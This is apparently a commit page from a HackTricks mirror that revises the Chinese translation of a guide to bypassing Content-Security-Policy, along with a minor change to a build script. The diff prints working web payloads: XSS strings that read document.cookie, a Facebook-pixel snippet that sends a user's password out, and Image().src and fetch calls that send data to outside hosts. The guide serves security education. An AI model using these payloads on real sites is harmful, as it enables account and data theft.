mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/external-recon-meth
This commit is contained in:
parent
d5f1a537f4
commit
bb0ab9b7e0
@ -78,6 +78,9 @@ def ref(matchobj):
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
||||
|
@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
|
||||
CSP 可以通过以下头部进行强制执行或监控:
|
||||
|
||||
- `Content-Security-Policy`: 强制执行 CSP;浏览器会阻止任何违规行为。
|
||||
- `Content-Security-Policy`: 强制执行 CSP;浏览器阻止任何违规行为。
|
||||
- `Content-Security-Policy-Report-Only`: 用于监控;报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。
|
||||
|
||||
### Defining Resources
|
||||
@ -107,7 +107,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
有效的有效载荷: `"/><script>alert(1);</script>`
|
||||
|
||||
#### 通过 Iframes 的 self + 'unsafe-inline'
|
||||
#### self + 'unsafe-inline' 通过 Iframes
|
||||
|
||||
{{#ref}}
|
||||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中,并且是由允许的脚本创建的,那么**新的脚本标签将被允许执行**。
|
||||
如果你能以某种方式使一个**被允许的 JS 代码创建一个新的 script 标签**在 DOM 中,并且是由一个被允许的脚本创建的,那么**新的 script 标签将被允许执行**。
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
@ -159,11 +159,11 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
然而,服务器**正在验证上传的文件**,只允许您**上传特定类型的文件**,这很可能。
|
||||
然而,服务器**正在验证上传的文件**,只会允许您**上传特定类型的文件**。
|
||||
|
||||
此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/**提供它。
|
||||
此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/***提供它。
|
||||
|
||||
从这里开始,如果您发现XSS和文件上传,并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。
|
||||
从这里开始,如果您发现了XSS和文件上传,并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。
|
||||
|
||||
### Form-action
|
||||
|
||||
@ -172,7 +172,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
### 第三方端点 + ('unsafe-eval')
|
||||
|
||||
> [!WARNING]
|
||||
> 对于以下某些有效负载**`unsafe-eval`甚至不需要**。
|
||||
> 对于以下某些有效负载,**`unsafe-eval`甚至不需要**。
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### 利用 www.google.com 进行开放重定向
|
||||
|
||||
以下 URL 重定向到 example.com (来自 [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
以下 URL 重定向到 example.com (来自 [这里](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
@ -290,12 +290,12 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
|
||||
### 第三方滥用
|
||||
|
||||
如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述,有许多第三方域名可能在CSP中被允许,可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是:
|
||||
如[以下帖子](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)所述,许多第三方域名可能在CSP中被允许,可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是:
|
||||
|
||||
| 实体 | 允许的域名 | 能力 |
|
||||
| ----------------- | ------------------------------------------ | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
@ -329,11 +329,11 @@ fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
对于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
|
||||
至于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
|
||||
|
||||
### 通过 RPO(相对路径覆盖)绕过 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术,可以在某些服务器上使用。
|
||||
除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术可以在某些服务器上使用。
|
||||
|
||||
例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以通过以下方式绕过:
|
||||
```html
|
||||
@ -370,7 +370,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。然而,AngularJS 引入了自定义事件作为替代。在事件中,AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
|
||||
|
||||
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段演示了这个过程:
|
||||
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段阐明了这个过程:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
从: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**将其上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### 使用服务工作者
|
||||
|
||||
@ -462,25 +462,25 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
|
||||
#### Chrome
|
||||
|
||||
如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**使其**无效**。您可以通过以下任何绕过方法**允许脚本 'unsafe-inline'**:
|
||||
如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**,使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
因为这个指令将**覆盖现有的script-src指令**。\
|
||||
您可以在这里找到一个示例:[http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
因为这个指令将会**覆盖现有的 script-src 指令**。\
|
||||
你可以在这里找到一个例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
在Edge中要简单得多。如果您可以在CSP中添加这个:**`;_`** **Edge**将**丢弃**整个**策略**。\
|
||||
示例:[http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
在 Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将会**丢弃**整个**策略**。\
|
||||
例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; 通过XSS(iframe)- 时间攻击
|
||||
### img-src \*; 通过 XSS (iframe) - 时间攻击
|
||||
|
||||
注意缺少指令`'unsafe-inline'`\
|
||||
这次您可以让受害者通过**XSS**使用`<iframe`加载一个您控制的页面。这次您将让受害者访问您想要提取信息的页面(**CSRF**)。您无法访问页面的内容,但如果您能够**控制页面加载所需的时间**,您可以提取所需的信息。
|
||||
注意缺少指令 `'unsafe-inline'`\
|
||||
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容,但如果你能**控制页面加载所需的时间**,你可以提取所需的信息。
|
||||
|
||||
这次将提取一个**标志**,每当通过SQLi**正确猜测一个字符**时,**响应**由于睡眠函数而**花费更多时间**。然后,您将能够提取标志:
|
||||
这次将会提取一个**标志**,每当通过 SQLi **正确猜测一个字符**时,**响应**由于 sleep 函数会**花费更多时间**。然后,你将能够提取标志:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -542,13 +542,13 @@ run()
|
||||
```
|
||||
### 通过书签小程序
|
||||
|
||||
此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**,例如cookies或tokens。
|
||||
此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当被拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**,例如cookies或tokens。
|
||||
|
||||
有关更多信息,请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
|
||||
|
||||
### 通过限制CSP绕过CSP
|
||||
|
||||
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,CSP通过在允许的iframe内注入更严格的CSP来绕过,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。
|
||||
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,通过在允许的iframe内注入更严格的CSP来绕过CSP,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本以加载任意脚本**。
|
||||
|
||||
您可以使用**`csp`**属性**限制iframe的CSP**:
|
||||
```html
|
||||
@ -579,7 +579,7 @@ document.querySelector("DIV").innerHTML =
|
||||
```
|
||||
### 利用CSP和Iframe泄露信息
|
||||
|
||||
- 创建一个指向URL的`iframe`(我们称之为`https://example.redirect.com`),该URL被CSP允许。
|
||||
- 创建一个指向一个URL的`iframe`(我们称之为`https://example.redirect.com`),该URL被CSP允许。
|
||||
- 该URL随后重定向到一个秘密URL(例如,`https://usersecret.example2.com`),该URL在CSP中**不被允许**。
|
||||
- 通过监听`securitypolicyviolation`事件,可以捕获`blockedURI`属性。该属性揭示了被阻止的URI的域名,从而泄露了初始URL重定向的秘密域名。
|
||||
|
||||
@ -589,24 +589,24 @@ document.querySelector("DIV").innerHTML =
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
通过监控哪些请求被CSP阻止或允许,可以缩小秘密子域名中可能的字符范围,最终揭示完整的URL。
|
||||
通过监控CSP阻止或允许的请求,可以缩小秘密子域名中可能的字符范围,最终揭示完整的URL。
|
||||
|
||||
这两种方法利用了CSP在浏览器中的实现和行为的细微差别,展示了看似安全的策略如何无意中泄露敏感信息。
|
||||
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
来自[**这里**](https://ctftime.org/writeup/29310)的技巧。
|
||||
|
||||
## 不安全的技术以绕过CSP
|
||||
## 绕过CSP的危险技术
|
||||
|
||||
### 当参数过多时的PHP错误
|
||||
|
||||
根据[**这个视频中评论的最后一个技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM),发送过多参数(1001个GET参数,尽管你也可以使用POST参数和超过20个文件)。在PHP网页代码中定义的任何**`header()`**都**不会被发送**,因为这将触发错误。
|
||||
根据[**这个视频中评论的最后一种技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM),发送过多参数(1001个GET参数,尽管你也可以使用POST参数和超过20个文件)。在PHP网页代码中定义的任何**`header()`**都**不会被发送**,因为这将触发错误。
|
||||
|
||||
### PHP响应缓冲区溢出
|
||||
|
||||
PHP默认情况下**将响应缓冲到4096**字节。因此,如果PHP显示警告,通过提供**足够的数据在警告中**,**响应**将在**CSP头**之前**发送**,导致头被忽略。\
|
||||
然后,这个技术基本上是**用警告填充响应缓冲区**,以便CSP头不被发送。
|
||||
然后,这种技术基本上是**用警告填充响应缓冲区**,以便CSP头不被发送。
|
||||
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)的想法。
|
||||
|
||||
### 重写错误页面
|
||||
|
||||
@ -619,13 +619,13 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME是一种利用XSS(或高度限制的XSS)**在页面的一个端点**中**滥用****同一源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一源的真实端点来实现的。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息,请查看:
|
||||
SOME是一种利用XSS(或高度限制的XSS)**在页面的一个端点**中**滥用****同一源的其他端点。** 这通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一源的真实端点来实现。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
此外,**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点,该端点将**反射**输出中发送的**数据**(仅限字母、数字和点的限制)。
|
||||
此外,**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点,该端点将**反射**发送的**数据**(仅限字母、数字和点)。
|
||||
|
||||
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外,由于安装了WordPress,攻击者可能会通过**易受攻击的****回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\
|
||||
有关如何执行此攻击的更多信息,请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user